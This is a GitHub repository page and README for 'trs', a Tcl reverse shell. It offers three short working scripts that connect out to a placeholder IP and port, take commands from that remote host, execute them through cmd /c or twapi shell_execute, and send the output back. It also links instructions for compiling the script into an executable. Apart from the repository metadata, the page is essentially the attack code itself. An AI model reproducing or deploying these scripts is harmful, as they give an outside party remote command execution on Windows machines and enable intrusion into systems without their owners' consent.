https://github.com/potato-industries/trs
portable tcl based reverse shell
https://github.com/potato-industries/trs
reverse-shell security tcl
Last synced: 5 months ago
JSON representation
portable tcl based reverse shell
- Host: GitHub
- URL: https://github.com/potato-industries/trs
- Owner: Potato-Industries
- Created: 2021-12-07T19:12:14.000Z (over 4 years ago)
- Default Branch: main
- Last Pushed: 2024-01-12T15:57:52.000Z (over 2 years ago)
- Last Synced: 2025-11-20T08:02:51.825Z (8 months ago)
- Topics: reverse-shell, security, tcl
- Language: Tcl
- Homepage:
- Size: 2.93 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
# trs
portable tcl based reverse shell
https://www.tcl.tk/about/language.html
**Compile**
https://wiki.tcl-lang.org/page/How+to+compile+a+TCL+script+into+an+EXE+program
```
set chan [socket IP PORT]
while {1} {
flush $chan
puts $chan [exec cmd /c [gets $chan]]
flush $chan
}
```
```
set chan [socket IP PORT]
while {1} {
flush $chan
set fd [open "|cmd /c [gets $chan]" r]
while {[gets $fd line] >= 0} { puts $chan $line }
flush $chan
}
```
```
package require twapi
proc runrun {in} {
set args "/c $in"
return
[twapi::shell_execute -path cmd.exe -noconsole 1 -params $args]
}
set chan [socket IP PORT]
while {1} {
flush $chan
puts $chan [runrun [gets $chan]]
flush $chan
}
```